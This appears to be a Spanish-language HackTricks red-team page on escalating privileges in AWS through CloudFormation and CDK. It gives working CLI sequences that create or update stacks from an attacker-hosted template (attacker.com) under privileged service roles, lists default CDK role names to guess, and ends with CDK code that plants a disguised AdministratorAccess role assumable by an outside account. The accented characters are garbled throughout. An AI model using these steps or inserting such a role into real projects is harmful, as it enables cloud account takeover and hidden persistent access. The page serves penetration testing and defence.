AWS - Cloudformation Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

cloudformation

Para m谩s informaci贸n sobre cloudformation, consulta:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un atacante con estos permisos puede escalar privilegios creando un stack de CloudFormation con una plantilla personalizada, alojada en su servidor, para ejecutar acciones bajo los permisos de un rol especificado:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

En la siguiente p谩gina tienes un ejemplo de explotaci贸n con el permiso adicional cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impacto Potencial: Privesc al rol de servicio de cloudformation especificado.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

En este caso puedes abusar de una pila de cloudformation existente para actualizarla y escalar privilegios como en el escenario anterior:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

El permiso cloudformation:SetStackPolicy se puede utilizar para darte a ti mismo el permiso UpdateStack sobre una pila y realizar el ataque.

Impacto Potencial: Privesc al rol de servicio de cloudformation especificado.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si tienes este permiso pero sin iam:PassRole, a煤n puedes actualizar las pilas utilizadas y abusar de los roles de IAM que ya tienen adjuntos. Consulta la secci贸n anterior para un ejemplo de explotaci贸n (simplemente no indiques ning煤n rol en la actualizaci贸n).

El permiso cloudformation:SetStackPolicy se puede utilizar para darte a ti mismo el permiso UpdateStack sobre una pila y realizar el ataque.

Impacto Potencial: Privesc al rol de servicio de cloudformation ya adjunto.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un atacante con permisos para pasar un rol y crear y ejecutar un ChangeSet puede crear/actualizar una nueva pila de cloudformation y abusar de los roles de servicio de cloudformation al igual que con CreateStack o UpdateStack.

La siguiente explotaci贸n es una variaci贸n de la CreateStack one utilizando los permisos de ChangeSet para crear una pila.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

El permiso cloudformation:SetStackPolicy se puede usar para otorgarte permisos de ChangeSet sobre una pila y realizar el ataque.

Impacto Potencial: Privesc a roles de servicio de cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Esto es como el m茅todo anterior sin pasar roles de IAM, as铆 que solo puedes abusar de los ya adjuntos, solo modifica el par谩metro:

--change-set-type UPDATE

Impacto Potencial: Privesc al rol de servicio de cloudformation ya adjunto.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un atacante podr铆a abusar de estos permisos para crear/actualizar StackSets y abusar de roles de cloudformation arbitrarios.

Impacto Potencial: Privesc a los roles de servicio de cloudformation.

cloudformation:UpdateStackSet

Un atacante podr铆a abusar de este permiso sin el permiso passRole para actualizar StackSets y abusar de los roles de cloudformation adjuntos.

Impacto Potencial: Privesc a los roles de cloudformation adjuntos.

AWS CDK

El AWS cdk es un conjunto de herramientas que permite a los usuarios definir su infraestructura como c贸digo en lenguajes con los que ya est谩n familiarizados, as铆 como reutilizar secciones f谩cilmente. El CDK luego convierte el c贸digo de alto nivel (es decir, python) en plantillas de Cloudformation (yaml o json).

Para usar el CDK, un usuario administrativo debe primero inicializar la cuenta, lo que crea varios roles de IAM, incluido el rol de ejecuci贸n, que tiene permisos */*. Estos roles siguen la estructura de nombres cdk-<qualifier>-<name>-<account-id>-<region>. La inicializaci贸n debe hacerse una vez por regi贸n por cuenta.

Por defecto, los usuarios de CDK no tienen acceso para listar los roles necesarios para usar el CDK, lo que significa que necesitar谩s determinarlos manualmente. Si comprometes la m谩quina de un desarrollador o alg煤n nodo de CI/CD, estos roles pueden ser asumidos para otorgarte la capacidad de desplegar plantillas CFN, utilizando el rol cfn-exec para permitir que CFN despliegue cualquier recurso, comprometiendo completamente la cuenta.

Determinando los nombres de los roles

Si tienes cloudformation:DescribeStacks, los roles est谩n definidos en una pila llamada CDKToolkit, y puedes obtener los nombres de all铆.

Si est谩s en una m谩quina que ha sido utilizada para construir y desplegar proyectos de CDK, puedes obtenerlos de cdk.out/manafest.json en el directorio ra铆z del proyecto.

Tambi茅n puedes hacer una buena suposici贸n sobre cu谩les son. qualifier es una cadena a帽adida a los roles que permite que m煤ltiples instancias de la inicializaci贸n de CDK se desplieguen a la vez, sin embargo, el valor predeterminado est谩 codificado como hnb659fds.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Agregar c贸digo malicioso al c贸digo fuente del proyecto

Si puedes escribir en el c贸digo fuente del proyecto, pero no puedes desplegarlo t煤 mismo (por ejemplo, el desarrollador despliega el c贸digo a trav茅s de CI/CD, no desde la m谩quina local), a煤n puedes comprometer el entorno agregando recursos maliciosos a la pila. Lo siguiente agrega un rol IAM que puede ser asumido por una cuenta atacante a un proyecto de python CDK.

class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks